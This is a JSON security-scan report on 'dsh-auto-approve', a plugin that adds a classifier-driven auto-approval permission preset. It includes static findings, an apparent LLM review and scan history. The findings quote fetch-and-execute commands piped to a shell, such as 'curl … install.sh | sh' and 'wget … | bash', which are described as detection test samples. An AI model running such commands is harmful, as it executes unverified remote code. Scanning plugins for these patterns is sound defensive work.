{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"jiao-xxx-dsh-auto-approve","slug":"jiao-xxx-dsh-auto-approve","rank":294,"url":"https://github.com/Jiao-XXX/dsh-auto-approve","name":"Jiao-XXX/dsh-auto-approve","category":"security","description":{"zh":"在 workspace-write 与 danger-full-access 之间增加 `auto` 权限档：分类器一次性放行例行沙箱升级，危险或不确定的操作仍转人工审批。","en":"Adds an `auto` permission preset between workspace-write and danger-full-access: a classifier grants routine sandbox escalations once, while dangerous or uncertain requests still go to a human."},"stars":9,"starsCheckedAt":"2026-08-21","repository":{"owner":"Jiao-XXX","repo":"dsh-auto-approve","requestedRef":null,"subpath":""},"npm":"dsh-auto-approve","downloads":1125,"installMode":"npm","upstreamInstall":"dsh plugin --profile web add dsh-auto-approve","tarball":null,"added":"2026-08-15","page":"https://awesome-dsh-plugin.com/p/Jiao-XXX/dsh-auto-approve/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"jiao-xxx-dsh-auto-approve","slug":"jiao-xxx-dsh-auto-approve","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:23:18.916Z","scanStatus":"static-complete","verdict":"caution","score":95,"commit":"3734c1756f134724e5428d88c1525da02e6fba5e","commitDate":"2026-08-22T10:53:01+08:00","artifactDigest":"sha256:d139953dc6173d4dc6d48725844b4cd27d4b880e555db66feed632ca74bde3b5","downloadUrl":"https://github.com/Jiao-XXX/dsh-auto-approve/archive/3734c1756f134724e5428d88c1525da02e6fba5e.tar.gz","installMode":"npm","installCommand":"dsh plugin --profile web add dsh-auto-approve","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"dsh-auto-approve","packageVersion":"0.5.1","bundle":{"patch":"./cordis.patch.yml"},"client":{"platform":"web","inject":[]},"lifecycleScripts":{},"peerDependencies":["@deepseek-ai/schemastery"]},"identity":{"status":"found","installMode":"npm","upstreamNpm":"dsh-auto-approve","manifestName":"dsh-auto-approve","nameMatch":true,"npm":{"name":"dsh-auto-approve","latestVersion":"0.5.1","publishedAt":"2026-08-19T06:16:41.194Z","createdAt":"2026-08-15T03:28:56.030Z","versionCount":6,"maintainers":1,"repository":"git+https://github.com/Jiao-XXX/dsh-auto-approve.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"match","provenance":"none","tarballHost":null,"versionMatch":"match"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"auto-approve","name":"dsh-auto-approve","path":"cordis.patch.yml","disabled":false}],"overrides":[{"id":"permission","tier":"critical","mode":"override","disabled":false,"replacesImplementation":false,"name":null,"keys":["presets"],"path":"cordis.patch.yml"}],"jsExpressions":0,"clientPlatform":"web","parseErrors":[]},"capabilities":["browser-ui","filesystem","host-bundle","session","subprocess"],"outboundHosts":[{"host":"example.invalid","count":2}],"findings":[{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"scripts/tune-from-logs.mjs","pathClass":"source","line":38,"evidence":"curl https://example.invalid/install.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认","hash":"b8a65ebe99da48acbf935b78","review":{"verdict":"placeholder","reason":"该字符串位于 PATTERN_PROBE_SAMPLES 测试样本数组中，仅用于校验 danger-patterns 是否能识别危险命令，从未被 shell 执行。","model":"sonnet","reviewedAt":"2026-08-21T10:52:19.984Z"}},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/client.test.js","pathClass":"test-example-docs","line":171,"evidence":"vm.runInNewContext(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"位于测试、示例或文档目录","hash":"ae88ff0309f315b86f07910c"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/index.test.js","pathClass":"test-example-docs","line":270,"evidence":"curl -fsSL https://example.test/install.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"a78c3b9291c1be521b74af44"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/index.test.js","pathClass":"test-example-docs","line":307,"evidence":"wget -qO- https://example.test/install | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"38d43a408c647eece2695730"},{"id":"HT-PERMISSION-001","title":"覆盖安全关键宿主能力","severity":"medium","confidence":"high","path":"cordis.patch.yml","line":25,"evidence":"override: id=permission config[presets]","remediation":"安全关键 seam 的替换必须逐项解释、最小化，并接受人工复核；用户安装前应知晓该能力被谁接管。","note":"改写配置 权限预设（permission）","layer":"dsh-semantics","pathClass":"cordis","hash":"3f8552c40e7de21122e3f5b0","review":{"verdict":"functional","reason":"该覆盖为插件核心功能：在permission.config.presets中新增auto档(sandbox: workspace-write, approval: ask)，并配合分类器prompt对危险/不确定操作强制ask，与其自述功能一致，未见默认放开danger-full-access等异常改写。","model":"sonnet@p2","reviewedAt":"2026-08-21T13:16:43.218Z"}}],"counts":{"critical":0,"high":0,"medium":1,"low":0},"rawCounts":{"critical":3,"high":1,"medium":1,"low":0},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":15,"bytesScanned":229563,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":4,"markdown":4,"source":4,"cordis":1,"data":1,"manifest":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:23:18.916Z","summary":null,"intentMatch":null,"findingsReviewed":2,"findingsCandidates":2,"fromCache":2,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:23:18.916Z","commit":"3734c1756f134724e5428d88c1525da02e6fba5e","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T13:16:43.218Z","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T13:16:18.981Z","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T11:23:37.295Z","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.1","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T10:52:19.984Z","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"commit-change","from":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","to":"3734c1756f134724e5428d88c1525da02e6fba5e","commit":"3734c1756f134724e5428d88c1525da02e6fba5e","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:23:18.916Z"},{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.2","at":"2026-08-21T13:16:18.981Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:23:37.295Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"a8c2d7e6ccacaa15c18c4d1d56b0ba4d75cb6a39","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:52:19.984Z"}]}